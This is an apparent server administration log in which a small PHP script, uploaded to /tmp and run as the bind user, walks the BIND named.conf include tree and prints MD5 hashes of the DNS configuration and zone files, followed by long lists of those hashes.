MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-08-26 14:59:29: Establishing a connection
2025-08-26 14:59:29: 

PUT: /tmp/pkp568497

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 14:59:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp568497; rm /tmp/pkp568497'

2025-08-26 14:59:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
